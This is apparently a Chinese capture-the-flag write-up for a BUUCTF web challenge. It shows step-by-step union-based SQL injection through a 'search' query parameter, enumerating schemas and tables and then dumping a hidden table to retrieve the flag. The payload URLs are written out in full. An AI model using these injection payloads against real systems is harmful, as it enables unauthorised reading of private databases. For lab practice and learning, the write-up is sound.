2

进来是这样的场景:用f12进入网络发现有些一样的传参:

3

发现有个search的传参:(结合源码(ctrl+u)发现有个life on mars这个文件)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
life on mars.js

function get_life(query) {
$.ajax({
type: "GET",
url: "/query?search=" + query,
data: "{}",
contentType: "application/json; charset=utf-8",
dataType: "json",
cache: false,
success: function(data) {
var table_html =
'<table id="results"><tr><th>Name</th><th>Description</th></tr>';
$.each(data, function(i, item) {
table_html +=
"<tr><td>" + data[i][0] + "</td><td>" + data[i][1] + "</td></tr>";
});
table_html += "</table>";

$("#results").replaceWith(table_html);
},

error: function(msg) { }
});
}

该js文件返回的是数据集,那么这里一定查询了数据库,那么就可能存在sql注入漏洞。那就开始sql注入的流程。

/query?search=如果地名输入正确,发现返回如下:

4

开始SQL注入:

1
2
3
有几个字段:http://101a498c-ce4a-4364-9799-d9bdb1912f43.node5.buuoj.cn:81/query?search=hesperia_planum order by 2
查询数据库名称:http://101a498c-ce4a-4364-9799-d9bdb1912f43.node5.buuoj.cn:81/query?search=hesperia_planum union select 1,database()
查询数据表:http://101a498c-ce4a-4364-9799-d9bdb1912f43.node5.buuoj.cn:81/query?search=hesperia_planum union select 1,(SELECT%20group_concat(table_name)%20FROM%20information_schema.tables%20%20WHERE%20table_schema%20=%20%27aliens%27)

到这里就搞不出来了:然后就是

查询所有的数据库

在这个查询中,information_schema.schemata是一个MySQL系统表,其中包含所有数据库的信息。执行这个查询后,MySQL将返回一个包含所有数据库名称的结果集。

这些命令和查询可以在MySQL命令行界面中使用,也可以在MySQL客户端或其他数据库工具中使用。

http://101a498c-ce4a-4364-9799-d9bdb1912f43.node5.buuoj.cn:81/query?search=hesperia_planum%20union%20select%201,(SELECT%20group_concat(schema_name)%20FROM%20information_schema.schemata)

还可以:(直接用sqlmap):

1

爆出还有一个alien_code这个库:(重复上个的操作)

或者可以:

5

直接有字段名了:

没有直接给出就手打:

1
http://101a498c-ce4a-4364-9799-d9bdb1912f43.node5.buuoj.cn:81/query?search=amazonis_planitia%20union%20select%20group_concat(id),group_concat(code)%20from%20alien_code.code

完成,获得flag